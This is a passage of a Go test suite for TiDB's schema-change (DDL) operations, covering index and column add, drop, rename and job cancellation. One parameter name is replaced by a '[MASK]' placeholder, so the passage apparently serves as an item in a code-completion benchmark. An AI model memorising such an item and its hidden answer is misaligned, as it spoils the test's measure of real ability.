mysql.ErrKeyDoesNotExist) // Test rename on already-exists keys s.testErrorCode(c, ""alter table t rename index k3 to k2"", mysql.ErrDupKeyName) s.tk.MustExec(""alter table t rename index k2 to K2"") s.testErrorCode(c, ""alter table t rename key k3 to K2"", mysql.ErrDupKeyName) } func testGetTableByName(c *C, ctx sessionctx.Context, db, table string) table.Table { dom := domain.GetDomain(ctx) // Make sure the table schema is the new schema. err := dom.Reload() c.Assert(err, IsNil) tbl, err := dom.InfoSchema().TableByName(model.NewCIStr(db), model.NewCIStr(table)) c.Assert(err, IsNil) return tbl } func (s *testDBSuite) testGetTable(c *C, name string) table.Table { ctx := s.s.(sessionctx.Context) return testGetTableByName(c, ctx, s.schemaName, name) } func backgroundExec(s kv.Storage, sql string, done chan error) { se, err := session.CreateSession4Test(s) if err != nil { done <- errors.Trace(err) return } defer se.Close() _, err = se.Execute(context.Background(), ""use test_db"") if err != nil { done <- errors.Trace(err) return } _, err = se.Execute(context.Background(), sql) done <- errors.Trace(err) } func (s *testDBSuite) TestAddUniqueIndexRollback(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.mustExec(c, ""use test_db"") s.mustExec(c, ""drop table if exists t1"") s.mustExec(c, ""create table t1 (c1 int, c2 int, c3 int, primary key(c1))"") // defaultBatchSize is equal to ddl.defaultBatchSize base := defaultBatchSize * 2 count := base // add some rows for i := 0; i < count; i++ { s.mustExec(c, ""insert into t1 values (?, ?, ?)"", i, i, i) } // add some duplicate rows for i := count - 10; i < count; i++ { s.mustExec(c, ""insert into t1 values (?, ?, ?)"", i+10, i, i) } done := make(chan error, 1) go backgroundExec(s.store, ""create unique index c3_index on t1 (c3)"", done) times := 0 ticker := time.NewTicker(s.lease / 2) defer ticker.Stop() LOOP: for { select { case err := <-done: c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[kv:1062]Duplicate for key c3_index"", Commentf(""err:%v"", err)) break LOOP case <-ticker.C: if times >= 10 { break } step := 10 // delete some rows, and add some data for i := count; i < count+step; i++ { n := rand.Intn(count) s.mustExec(c, ""delete from t1 where c1 = ?"", n) s.mustExec(c, ""insert into t1 values (?, ?, ?)"", i+10, i, i) } count += step times++ } } t := s.testGetTable(c, ""t1"") for _, tidx := range t.Indices() { c.Assert(strings.EqualFold(tidx.Meta().Name.L, ""c3_index""), IsFalse) } // delete duplicate rows, then add index for i := base - 10; i < base; i++ { s.mustExec(c, ""delete from t1 where c1 = ?"", i+10) } sessionExec(c, s.store, ""create index c3_index on t1 (c3)"") s.mustExec(c, ""drop table t1"") } func (s *testDBSuite) TestCancelAddIndex(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.mustExec(c, ""use test_db"") s.mustExec(c, ""drop table if exists t1"") s.mustExec(c, ""create table t1 (c1 int, c2 int, c3 int, primary key(c1))"") // defaultBatchSize is equal to ddl.defaultBatchSize base := defaultBatchSize * 2 count := base // add some rows for i := 0; i < count; i++ { s.mustExec(c, ""insert into t1 values (?, ?, ?)"", i, i, i) } var c3IdxInfo *model.IndexInfo hook := &ddl.TestDDLCallback{} // let hook.OnJobUpdatedExported has chance to cancel the job. // the hook.OnJobUpdatedExported is called when the job is updated, runReorgJob will wait ddl.ReorgWaitTimeout, then return the ddl.runDDLJob. // After that ddl call d.hook.OnJobUpdated(job), so that we can canceled the job in this test case. var checkErr error hook.OnJobUpdatedExported, c3IdxInfo, checkErr = backgroundExecOnJobUpdatedExported(c, s.store, s.s.(sessionctx.Context), hook) originalHook := s.dom.DDL().GetHook() s.dom.DDL().(ddl.DDLForTest).SetHook(hook) done := make(chan error, 1) go backgroundExec(s.store, ""create unique index c3_index on t1 (c3)"", done) times := 0 ticker := time.NewTicker(s.lease / 2) defer ticker.Stop() LOOP: for { select { case err := <-done: c.Assert(checkErr, IsNil) c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[ddl:12]cancelled DDL job"") break LOOP case <-ticker.C: if times >= 10 { break } step := 10 // delete some rows, and add some data for i := count; i < count+step; i++ { n := rand.Intn(count) s.mustExec(c, ""delete from t1 where c1 = ?"", n) s.mustExec(c, ""insert into t1 values (?, ?, ?)"", i+10, i, i) } count += step times++ } } t := s.testGetTable(c, ""t1"") for _, tidx := range t.Indices() { c.Assert(strings.EqualFold(tidx.Meta().Name.L, ""c3_index""), IsFalse) } ctx := s.s.(sessionctx.Context) idx := tables.NewIndex(t.Meta().ID, t.Meta(), c3IdxInfo) checkDelRangeDone(c, ctx, idx) s.mustExec(c, ""drop table t1"") s.dom.DDL().(ddl.DDLForTest).SetHook(originalHook) } // TestCancelAddIndex1 tests canceling ddl job when the add index worker is not started. func (s *testDBSuite) TestCancelAddIndex1(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.mustExec(c, ""use test_db"") s.mustExec(c, ""drop table if exists t"") s.mustExec(c, ""create table t(c1 int, c2 int)"") defer s.mustExec(c, ""drop table t;"") for i := 0; i < 50; i++ { s.mustExec(c, ""insert into t values (?, ?)"", i, i) } var checkErr error hook := &ddl.TestDDLCallback{} hook.OnJobRunBeforeExported = func(job *model.Job) { if job.Type == model.ActionAddIndex && job.State == model.JobStateRunning && job.SchemaState == model.StateWriteReorganization && job.SnapshotVer == 0 { jobIDs := []int64{job.ID} hookCtx := mock.NewContext() hookCtx.Store = s.store err := hookCtx.NewTxn(context.Background()) if err != nil { checkErr = errors.Trace(err) return } txn, err := hookCtx.Txn(true) if err != nil { checkErr = errors.Trace(err) return } errs, err := admin.CancelJobs(txn, jobIDs) if err != nil { checkErr = errors.Trace(err) return } if errs[0] != nil { checkErr = errors.Trace(errs[0]) return } checkErr = txn.Commit(context.Background()) } } originalHook := s.dom.DDL().GetHook() s.dom.DDL().(ddl.DDLForTest).SetHook(hook) rs, err := s.tk.Exec(""alter table t add index idx_c2(c2)"") if rs != nil { rs.Close() } c.Assert(checkErr, IsNil) c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[ddl:12]cancelled DDL job"") s.dom.DDL().(ddl.DDLForTest).SetHook(originalHook) t := s.testGetTable(c, ""t"") for _, idx := range t.Indices() { c.Assert(strings.EqualFold(idx.Meta().Name.L, ""idx_c2""), IsFalse) } s.mustExec(c, ""alter table t add index idx_c2(c2)"") s.mustExec(c, ""alter table t drop index idx_c2"") } // TestCancelDropIndex tests cancel ddl job which type is drop index. func (s *testDBSuite) TestCancelDropIndex(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.mustExec(c, ""use test_db"") s.mustExec(c, ""drop table if exists t"") s.mustExec(c, ""create table t(c1 int, c2 int)"") defer s.mustExec(c, ""drop table t;"") for i := 0; i < 5; i++ { s.mustExec(c, ""insert into t values (?, ?)"", i, i) } testCases := []struct { needAddIndex bool jobState model.JobState JobSchemaState model.SchemaState cancelSucc bool }{ // model.JobStateNone means the jobs is canceled before the first run. {true, model.JobStateNone, model.StateNone, true}, {false, model.JobStateRunning, model.StateWriteOnly, true}, {false, model.JobStateRunning, model.StateDeleteOnly, false}, {true, model.JobStateRunning, model.StateDeleteReorganization, false}, } var checkErr error hook := &ddl.TestDDLCallback{} var jobID int64 testCase := &testCases[0] hook.OnJobRunBeforeExported = func(job *model.Job) { if job.Type == model.ActionDropIndex && job.State == testCase.jobState && job.SchemaState == testCase.JobSchemaState { jobID = job.ID jobIDs := []int64{job.ID} hookCtx := mock.NewContext() hookCtx.Store = s.store err := hookCtx.NewTxn(context.TODO()) if err != nil { checkErr = errors.Trace(err) return } txn, err := hookCtx.Txn(true) if err != nil { checkErr = errors.Trace(err) return } errs, err := admin.CancelJobs(txn, jobIDs) if err != nil { checkErr = errors.Trace(err) return } if errs[0] != nil { checkErr = errors.Trace(errs[0]) return } checkErr = txn.Commit(context.Background()) } } originalHook := s.dom.DDL().GetHook() s.dom.DDL().(ddl.DDLForTest).SetHook(hook) for i := range testCases { testCase = &testCases[i] if testCase.needAddIndex { s.mustExec(c, ""alter table t add index idx_c2(c2)"") } rs, err := s.tk.Exec(""alter table t drop index idx_c2"") if rs != nil { rs.Close() } t := s.testGetTable(c, ""t"") indexInfo := schemautil.FindIndexByName(""idx_c2"", t.Meta().Indices) if testCase.cancelSucc { c.Assert(checkErr, IsNil) c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[ddl:12]cancelled DDL job"") c.Assert(indexInfo, NotNil) c.Assert(indexInfo.State, Equals, model.StatePublic) } else { err1 := admin.ErrCannotCancelDDLJob.GenWithStackByArgs(jobID) c.Assert(err, IsNil) c.Assert(checkErr, NotNil) c.Assert(checkErr.Error(), Equals, err1.Error()) c.Assert(indexInfo, IsNil) } } s.dom.DDL().(ddl.DDLForTest).SetHook(originalHook) s.mustExec(c, ""alter table t add index idx_c2(c2)"") s.mustExec(c, ""alter table t drop index idx_c2"") } // TestCancelRenameIndex tests cancel ddl job which type is rename index. func (s *testDBSuite) TestCancelRenameIndex(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.mustExec(c, ""use test_db"") s.mustExec(c, ""create database if not exists test_rename_index"") s.mustExec(c, ""drop table if exists t"") s.mustExec(c, ""create table t(c1 int, c2 int)"") defer s.mustExec(c, ""drop table t;"") for i := 0; i < 100; i++ { s.mustExec(c, ""insert into t values (?, ?)"", i, i) } s.mustExec(c, ""alter table t add index idx_c2(c2)"") var checkErr error hook := &ddl.TestDDLCallback{} hook.OnJobRunBeforeExported = func(job *model.Job) { if job.Type == model.ActionRenameIndex && job.State == model.JobStateNone { jobIDs := []int64{job.ID} hookCtx := mock.NewContext() hookCtx.Store = s.store err := hookCtx.NewTxn(context.Background()) if err != nil { checkErr = errors.Trace(err) return } txn, err := hookCtx.Txn(true) if err != nil { checkErr = errors.Trace(err) return } errs, err := admin.CancelJobs(txn, jobIDs) if err != nil { checkErr = errors.Trace(err) return } if errs[0] != nil { checkErr = errors.Trace(errs[0]) return } checkErr = txn.Commit(context.Background()) } } originalHook := s.dom.DDL().GetHook() s.dom.DDL().(ddl.DDLForTest).SetHook(hook) rs, err := s.tk.Exec(""alter table t rename index idx_c2 to idx_c3"") if rs != nil { rs.Close() } c.Assert(checkErr, IsNil) c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[ddl:12]cancelled DDL job"") s.dom.DDL().(ddl.DDLForTest).SetHook(originalHook) t := s.testGetTable(c, ""t"") for _, idx := range t.Indices() { c.Assert(strings.EqualFold(idx.Meta().Name.L, ""idx_c3""), IsFalse) } s.mustExec(c, ""alter table t rename index idx_c2 to idx_c3"") } // TestCancelDropTable tests cancel ddl job which type is drop table. func (s *testDBSuite) TestCancelDropTableAndSchema(c *C) { s.tk = testkit.NewTestKit(c, s.store) testCases := []struct { needAddTableOrDB bool action model.ActionType jobState model.JobState JobSchemaState model.SchemaState cancelSucc bool }{ // Check drop table. // model.JobStateNone means the jobs is canceled before the first run. {true, model.ActionDropTable, model.JobStateNone, model.StateNone, true}, {false, model.ActionDropTable, model.JobStateRunning, model.StateWriteOnly, false}, {true, model.ActionDropTable, model.JobStateRunning, model.StateDeleteOnly, false}, // Check drop database. {true, model.ActionDropSchema, model.JobStateNone, model.StateNone, true}, {false, model.ActionDropSchema, model.JobStateRunning, model.StateWriteOnly, false}, {true, model.ActionDropSchema, model.JobStateRunning, model.StateDeleteOnly, false}, } var checkErr error oldReorgWaitTimeout := ddl.ReorgWaitTimeout ddl.ReorgWaitTimeout = 50 * time.Millisecond defer func() { ddl.ReorgWaitTimeout = oldReorgWaitTimeout }() hook := &ddl.TestDDLCallback{} var jobID int64 testCase := &testCases[0] hook.OnJobRunBeforeExported = func(job *model.Job) { if job.Type == testCase.action && job.State == testCase.jobState && job.SchemaState == testCase.JobSchemaState { jobIDs := []int64{job.ID} jobID = job.ID hookCtx := mock.NewContext() hookCtx.Store = s.store err := hookCtx.NewTxn(context.TODO()) if err != nil { checkErr = errors.Trace(err) return } txn, err := hookCtx.Txn(true) if err != nil { checkErr = errors.Trace(err) return } errs, err := admin.CancelJobs(txn, jobIDs) if err != nil { checkErr = errors.Trace(err) return } if errs[0] != nil { checkErr = errors.Trace(errs[0]) return } checkErr = txn.Commit(context.Background()) } } originHook := s.dom.DDL().GetHook() defer s.dom.DDL().(ddl.DDLForTest).SetHook(originHook) s.dom.DDL().(ddl.DDLForTest).SetHook(hook) var err error sql := """" for i := range testCases { testCase = &testCases[i] if testCase.needAddTableOrDB { s.mustExec(c, ""create database if not exists test_drop_db"") s.mustExec(c, ""use test_drop_db"") s.mustExec(c, ""create table if not exists t(c1 int, c2 int)"") } if testCase.action == model.ActionDropTable { sql = ""drop table t;"" } else if testCase.action == model.ActionDropSchema { sql = ""drop database test_drop_db;"" } _, err = s.tk.Exec(sql) if testCase.cancelSucc { c.Assert(checkErr, IsNil) c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[ddl:12]cancelled DDL job"") s.mustExec(c, ""insert into t values (?, ?)"", i, i) } else { c.Assert(err, IsNil) c.Assert(checkErr, NotNil) c.Assert(checkErr.Error(), Equals, admin.ErrCannotCancelDDLJob.GenWithStackByArgs(jobID).Error()) _, err = s.tk.Exec(""insert into t values (?, ?)"", i, i) c.Assert(err, NotNil) } } } func (s *testDBSuite) TestAddAnonymousIndex(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) s.mustExec(c, ""create table t_anonymous_index (c1 int, c2 int, C3 int)"") s.mustExec(c, ""alter table t_anonymous_index add index (c1, c2)"") // for dropping empty index _, err := s.tk.Exec(""alter table t_anonymous_index drop index"") c.Assert(err, NotNil) // The index name is c1 when adding index (c1, c2). s.mustExec(c, ""alter table t_anonymous_index drop index c1"") t := s.testGetTable(c, ""t_anonymous_index"") c.Assert(t.Indices(), HasLen, 0) // for adding some indices that the first column name is c1 s.mustExec(c, ""alter table t_anonymous_index add index (c1)"") _, err = s.tk.Exec(""alter table t_anonymous_index add index c1 (c2)"") c.Assert(err, NotNil) t = s.testGetTable(c, ""t_anonymous_index"") c.Assert(t.Indices(), HasLen, 1) idx := t.Indices()[0].Meta().Name.L c.Assert(idx, Equals, ""c1"") // The MySQL will be a warning. s.mustExec(c, ""alter table t_anonymous_index add index c1_3 (c1)"") s.mustExec(c, ""alter table t_anonymous_index add index (c1, c2, C3)"") // The MySQL will be a warning. s.mustExec(c, ""alter table t_anonymous_index add index (c1)"") t = s.testGetTable(c, ""t_anonymous_index"") c.Assert(t.Indices(), HasLen, 4) s.mustExec(c, ""alter table t_anonymous_index drop index c1"") s.mustExec(c, ""alter table t_anonymous_index drop index c1_2"") s.mustExec(c, ""alter table t_anonymous_index drop index c1_3"") s.mustExec(c, ""alter table t_anonymous_index drop index c1_4"") // for case insensitive s.mustExec(c, ""alter table t_anonymous_index add index (C3)"") s.mustExec(c, ""alter table t_anonymous_index drop index c3"") s.mustExec(c, ""alter table t_anonymous_index add index c3 (C3)"") s.mustExec(c, ""alter table t_anonymous_index drop index C3"") // for anonymous index with column name `primary` s.mustExec(c, ""create table t_primary (`primary` int, key (`primary`))"") t = s.testGetTable(c, ""t_primary"") c.Assert(t.Indices()[0].Meta().Name.String(), Equals, ""primary_2"") s.mustExec(c, ""create table t_primary_2 (`primary` int, key primary_2 (`primary`), key (`primary`))"") t = s.testGetTable(c, ""t_primary_2"") c.Assert(t.Indices()[0].Meta().Name.String(), Equals, ""primary_2"") c.Assert(t.Indices()[1].Meta().Name.String(), Equals, ""primary_3"") s.mustExec(c, ""create table t_primary_3 (`primary_2` int, key(`primary_2`), `primary` int, key(`primary`));"") t = s.testGetTable(c, ""t_primary_3"") c.Assert(t.Indices()[0].Meta().Name.String(), Equals, ""primary_2"") c.Assert(t.Indices()[1].Meta().Name.String(), Equals, ""primary_3"") } func (s *testDBSuite) testAlterLock(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) s.mustExec(c, ""create table t_index_lock (c1 int, c2 int, C3 int)"") s.mustExec(c, ""alter table t_indx_lock add index (c1, c2), lock=none"") } func (s *testDBSuite) TestAddMultiColumnsIndex(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) s.tk.MustExec(""drop database if exists tidb;"") s.tk.MustExec(""create database tidb;"") s.tk.MustExec(""use tidb;"") s.tk.MustExec(""create table tidb.test (a int auto_increment primary key, b int);"") s.tk.MustExec(""insert tidb.test values (1, 1);"") s.tk.MustExec(""update tidb.test set b = b + 1 where a = 1;"") s.tk.MustExec(""insert into tidb.test values (2, 2);"") // Test that the b value is nil. s.tk.MustExec(""insert into tidb.test (a) values (3);"") s.tk.MustExec(""insert into tidb.test values (4, 4);"") // Test that the b value is nil again. s.tk.MustExec(""insert into tidb.test (a) values (5);"") s.tk.MustExec(""insert tidb.test values (6, 6);"") s.tk.MustExec(""alter table tidb.test add index idx1 (a, b);"") s.tk.MustExec(""admin check table test"") } func (s *testDBSuite) TestAddIndex(c *C) { s.testAddIndex(c, false, ""create table test_add_index (c1 bigint, c2 bigint, c3 bigint, primary key(c1))"") s.testAddIndex(c, true, `create table test_add_index (c1 bigint, c2 bigint, c3 bigint, primary key(c1)) partition by range (c1) ( partition p0 values less than (3440), partition p1 values less than (61440), partition p2 values less than (122880), partition p3 values less than (204800), partition p4 values less than maxvalue)`) s.testAddIndex(c, true, `create table test_add_index (c1 bigint, c2 bigint, c3 bigint, primary key(c1)) partition by hash (c1) partitions 4;`) } func (s *testDBSuite) testAddIndex(c *C, [MASK] bool, createTableSQL string) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) if [MASK] { s.tk.MustExec(""set @@session.tidb_enable_table_partition = '1';"") } s.tk.MustExec(""drop table if exists test_add_index"") s.tk.MustExec(createTableSQL) done := make(chan error, 1) start := -10 num := defaultBatchSize // first add some rows for i := start; i < num; i++ { sql := fmt.Sprintf(""insert into test_add_index values (%d, %d, %d)"", i, i, i) s.mustExec(c, sql) } // Add some discrete rows. maxBatch := 20 batchCnt := 100 otherKeys := make([]int, 0, batchCnt*maxBatch) // Make sure there are no duplicate keys. base := defaultBatchSize * 20 for i := 1; i < batchCnt; i++ { n := base + i*defaultBatchSize + i for j := 0; j < rand.Intn(maxBatch); j++ { n += j sql := fmt.Sprintf(""insert into test_add_index values (%d, %d, %d)"", n, n, n) s.mustExec(c, sql) otherKeys = append(otherKeys, n) } } // Encounter the value of math.MaxInt64 in middle of v := math.MaxInt64 - defaultBatchSize/2 sql := fmt.Sprintf(""insert into test_add_index values (%d, %d, %d)"", v, v, v) s.mustExec(c, sql) otherKeys = append(otherKeys, v) testddlutil.SessionExecInGoroutine(c, s.store, ""create index c3_index on test_add_index (c3)"", done) deletedKeys := make(map[int]struct{}) ticker := time.NewTicker(s.lease / 2) defer ticker.Stop() LOOP: for { select { case err := <-done: if err == nil { break LOOP } c.Assert(err, IsNil, Commentf(""err:%v"", errors.ErrorStack(err))) case <-ticker.C: // When the server performance is particularly poor, // the adding index operation can not be completed. // So here is a limit to the number of rows inserted. if num > defaultBatchSize*10 { break } step := 10 // delete some rows, and add some data for i := num; i < num+step; i++ { n := rand.Intn(num) deletedKeys[n] = struct{}{} sql := fmt.Sprintf(""delete from test_add_index where c1 = %d"", n) s.mustExec(c, sql) sql = fmt.Sprintf(""insert into test_add_index values (%d, %d, %d)"", i, i, i) s.mustExec(c, sql) } num += step } } // get exists keys keys := make([]int, 0, num) for i := start; i < num; i++ { if _, ok := deletedKeys[i]; ok { continue } keys = append(keys, i) } keys = append(keys, otherKeys...) // test index key expectedRows := make([][]interface{}, 0, len(keys)) for _, key := range keys { expectedRows = append(expectedRows, []interface{}{key}) } rows := s.mustQuery(c, fmt.Sprintf(""select c1 from test_add_index where c3 >= %d order by c1"", start)) matchRows(c, rows, expectedRows) if [MASK] { s.tk.MustExec(""admin check table test_add_index"") return } // test index range for i := 0; i < 100; i++ { index := rand.Intn(len(keys) - 3) rows := s.mustQuery(c, ""select c1 from test_add_index where c3 >= ? limit 3"", keys[index]) matchRows(c, rows, [][]interface{}{{keys[index]}, {keys[index+1]}, {keys[index+2]}}) } // TODO: Support explain in future. // rows := s.mustQuery(c, ""explain select c1 from test_add_index where c3 >= 100"") // ay := dumpRows(c, rows) // c.Assert(strings.Contains(fmt.Sprintf(""%v"", ay), ""c3_index""), IsTrue) // get all row handles ctx := s.s.(sessionctx.Context) c.Assert(ctx.NewTxn(context.Background()), IsNil) t := s.testGetTable(c, ""test_add_index"") handles := make(map[int64]struct{}) startKey := t.RecordKey(math.MinInt64) err := t.IterRecords(ctx, startKey, t.Cols(), func(h int64, data []types.Datum, cols []*table.Column) (bool, error) { handles[h] = struct{}{} return true, nil }) c.Assert(err, IsNil) // check in index var nidx table.Index for _, tidx := range t.Indices() { if tidx.Meta().Name.L == ""c3_index"" { nidx = tidx break } } // Make sure there is index with name c3_index. c.Assert(nidx, NotNil) c.Assert(nidx.Meta().ID, Greater, int64(0)) txn, err := ctx.Txn(true) c.Assert(err, IsNil) txn.Rollback() c.Assert(ctx.NewTxn(context.Background()), IsNil) defer txn.Rollback() it, err := nidx.SeekFirst(txn) c.Assert(err, IsNil) defer it.Close() for { _, h, err := it.Next() if terror.ErrorEqual(err, io.EOF) { break } c.Assert(err, IsNil) _, ok := handles[h] c.Assert(ok, IsTrue) delete(handles, h) } c.Assert(handles, HasLen, 0) s.tk.MustExec(""drop table test_add_index"") } func (s *testDBSuite) TestDropIndex(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) s.tk.MustExec(""drop table if exists test_drop_index"") s.tk.MustExec(""create table test_drop_index (c1 int, c2 int, c3 int, primary key(c1))"") s.tk.MustExec(""create index c3_index on test_drop_index (c3)"") done := make(chan error, 1) s.mustExec(c, ""delete from test_drop_index"") num := 100 // add some rows for i := 0; i < num; i++ { s.mustExec(c, ""insert into test_drop_index values (?, ?, ?)"", i, i, i) } t := s.testGetTable(c, ""test_drop_index"") var c3idx table.Index for _, tidx := range t.Indices() { if tidx.Meta().Name.L == ""c3_index"" { c3idx = tidx break } } c.Assert(c3idx, NotNil) testddlutil.SessionExecInGoroutine(c, s.store, ""drop index c3_index on test_drop_index"", done) ticker := time.NewTicker(s.lease / 2) defer ticker.Stop() LOOP: for { select { case err := <-done: if err == nil { break LOOP } c.Assert(err, IsNil, Commentf(""err:%v"", errors.ErrorStack(err))) case <-ticker.C: step := 10 // delete some rows, and add some data for i := num; i < num+step; i++ { n := rand.Intn(num) s.mustExec(c, ""update test_drop_index set c2 = 1 where c1 = ?"", n) s.mustExec(c, ""insert into test_drop_index values (?, ?, ?)"", i, i, i) } num += step } } rows := s.mustQuery(c, ""explain select c1 from test_drop_index where c3 >= 0"") c.Assert(strings.Contains(fmt.Sprintf(""%v"", rows), ""c3_index""), IsFalse) // check in index, must no index in kv ctx := s.s.(sessionctx.Context) // Make sure there is no index with name c3_index. t = s.testGetTable(c, ""test_drop_index"") var nidx table.Index for _, tidx := range t.Indices() { if tidx.Meta().Name.L == ""c3_index"" { nidx = tidx break } } c.Assert(nidx, IsNil) idx := tables.NewIndex(t.Meta().ID, t.Meta(), c3idx.Meta()) checkDelRangeDone(c, ctx, idx) s.tk.MustExec(""drop table test_drop_index"") } // TestCancelDropColumn tests cancel ddl job which type is drop column. func (s *testDBSuite) TestCancelDropColumn(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) s.mustExec(c, ""drop table if exists test_drop_column"") s.mustExec(c, ""create table test_drop_column(c1 int, c2 int)"") defer s.mustExec(c, ""drop table test_drop_column;"") testCases := []struct { needAddColumn bool jobState model.JobState JobSchemaState model.SchemaState cancelSucc bool }{ {true, model.JobStateNone, model.StateNone, true}, {false, model.JobStateRunning, model.StateWriteOnly, false}, {true, model.JobStateRunning, model.StateDeleteOnly, false}, {true, model.JobStateRunning, model.StateDeleteReorganization, false}, } var checkErr error oldReorgWaitTimeout := ddl.ReorgWaitTimeout ddl.ReorgWaitTimeout = 50 * time.Millisecond defer func() { ddl.ReorgWaitTimeout = oldReorgWaitTimeout }() hook := &ddl.TestDDLCallback{} var jobID int64 testCase := &testCases[0] hook.OnJobRunBeforeExported = func(job *model.Job) { if job.Type == model.ActionDropColumn && job.State == testCase.jobState && job.SchemaState == testCase.JobSchemaState { jobIDs := []int64{job.ID} jobID = job.ID hookCtx := mock.NewContext() hookCtx.Store = s.store err := hookCtx.NewTxn(context.TODO()) if err != nil { checkErr = errors.Trace(err) return } txn, err := hookCtx.Txn(true) if err != nil { checkErr = errors.Trace(err) return } errs, err := admin.CancelJobs(txn, jobIDs) if err != nil { checkErr = errors.Trace(err) return } if errs[0] != nil { checkErr = errors.Trace(errs[0]) return } checkErr = txn.Commit(context.Background()) } } originalHook := s.dom.DDL().GetHook() s.dom.DDL().(ddl.DDLForTest).SetHook(hook) var err1 error for i := range testCases { testCase = &testCases[i] if testCase.needAddColumn { s.mustExec(c, ""alter table test_drop_column add column c3 int"") } _, err1 = s.tk.Exec(""alter table test_drop_column drop column c3"") var col1 *table.Column t := s.testGetTable(c, ""test_drop_column"") for _, col := range t.Cols() { if strings.EqualFold(col.Name.L, ""c3"") { col1 = col break } } if testCase.cancelSucc { c.Assert(checkErr, IsNil) c.Assert(col1, NotNil) c.Assert(col1.Name.L, Equals, ""c3"") c.Assert(err1.Error(), Equals, ""[ddl:12]cancelled DDL job"") } else { c.Assert(col1, IsNil) c.Assert(err1, IsNil) c.Assert(checkErr, NotNil) c.Assert(checkErr.Error(), Equals, admin.ErrCannotCancelDDLJob.GenWithStackByArgs(jobID).Error()) } } s.dom.DDL().(ddl.DDLForTest).SetHook(originalHook) s.mustExec(c, ""alter table test_drop_column add column c3 int"") s.mustExec(c, ""alter table test_drop_column drop column c3"") } func checkDelRangeDone(c *C, ctx sessionctx.Context, idx table.Index) { startTime := time.Now() f := func() map[int64]struct{} { handles := make(map[int64]struct{}) c.Assert(ctx.NewTxn(context.Background()), IsNil) txn, err := ctx.Txn(true) c.Assert(err, IsNil) defer txn.Rollback() txn, err = ctx.Txn(true) c.Assert(err, IsNil) it, err := idx.SeekFirst(txn) c.Assert(err, IsNil) defer it.Close() for { _, h, err := it.Next() if terror.ErrorEqual(err, io.EOF) { break } c.Assert(err, IsNil) handles[h] = struct{}{} } return handles } var handles map[int64]struct{} for i := 0; i < waitForCleanDataRound; i++ { handles = f() if len(handles) != 0 { time.Sleep(waitForCleanDataInterval) } else { break } } c.Assert(handles, HasLen, 0, Commentf(""take time %v"", time.Since(startTime))) } func (s *testDBSuite) TestAddIndexWithDupCols(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) err1 := infoschema.ErrColumnExists.GenWithStackByArgs(""b"") err2 := infoschema.ErrColumnExists.GenWithStackByArgs(""B"") s.tk.MustExec(""create table test_add_index_with_dup (a int, b int)"") _, err := s.tk.Exec(""create index c on test_add_index_with_dup(b, a, b)"") c.Check(errors.Cause(err1).(*terror.Error).Equal(err), Equals, true) _, err = s.tk.Exec(""create index c on test_add_index_with_dup(b, a, B)"") c.Check(errors.Cause(err2).(*terror.Error).Equal(err), Equals, true) _, err = s.tk.Exec(""alter table test_add_index_with_dup add index c (b, a, b)"") c.Check(errors.Cause(err1).(*terror.Error).Equal(err), Equals, true) _, err = s.tk.Exec(""alter table test_add_index_with_dup add index c (b, a, B)"") c.Check(errors.Cause(err2).(*terror.Error).Equal(err), Equals, true) s.tk.MustExec(""drop table test_add_index_with_dup"") } func (s *testDBSuite) showColumns(c *C, tableName string) [][]interface{} { return s.mustQuery(c, fmt.Sprintf(""show columns from %s"", tableName)) } func (s *testDBSuite) TestCreateIndexType(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) sql := `CREATE TABLE test_index ( price int(5) DEFAULT '0' NOT NULL, area varchar(40) DEFAULT '' NOT NULL, type varchar(40) DEFAULT '' NOT NULL, transityes set('a','b'), shopsyes enum('Y','N') DEFAULT 'Y' NOT NULL, schoolsyes enum('Y','N') DEFAULT 'Y' NOT NULL, petsyes enum('Y','N') DEFAULT 'Y' NOT NULL, KEY price (price,area,type,transityes,shopsyes,schoolsyes,petsyes));` s.tk.MustExec(sql) } func (s *testDBSuite) TestColumn(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) s.tk.MustExec(""create table t2 (c1 int, c2 int, c3 int)"") s.testAddColumn(c) s.testDropColumn(c) s.tk.MustExec(""drop table t2"") } func (s *testDBSuite) TestAddColumnTooMany(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") count := int(atomic.LoadUint32(&ddl.TableColumnCountLimit) - 1) var cols []string for i := 0; i < count; i++ { cols = append(cols, fmt.Sprintf(""a%d int"", i)) } createSQL := fmt.Sprintf(""create table t_column_too_many (%s)"", strings.Join(cols, "","")) s.tk.MustExec(createSQL) s.tk.MustExec(""alter table t_column_too_many add column a_512 int"") alterSQL := ""alter table t_column_too_many add column a_513 int"" s.testErrorCode(c, alterSQL, tmysql.ErrTooManyFields) } func sessionExec(c *C, s kv.Storage, sql string) { se, err := session.CreateSession4Test(s) c.Assert(err, IsNil) _, err = se.Execute(context.Background(), ""use test_db"") c.Assert(err, IsNil) rs, err := se.Execute(context.Background(), sql) c.Assert(err, IsNil, Commentf(""err:%v"", errors.ErrorStack(err))) c.Assert(rs, IsNil) se.Close() } func (s *testDBSuite) testAddColumn(c *C) { done := make(chan error, 1) num := defaultBatchSize + 10 // add some rows for i := 0; i < num; i++ { s.mustExec(c, ""insert into t2 values (?, ?, ?)"", i, i, i) } testddlutil.SessionExecInGoroutine(c, s.store, ""alter table t2 add column c4 int default -1"", done) ticker := time.NewTicker(s.lease / 2) 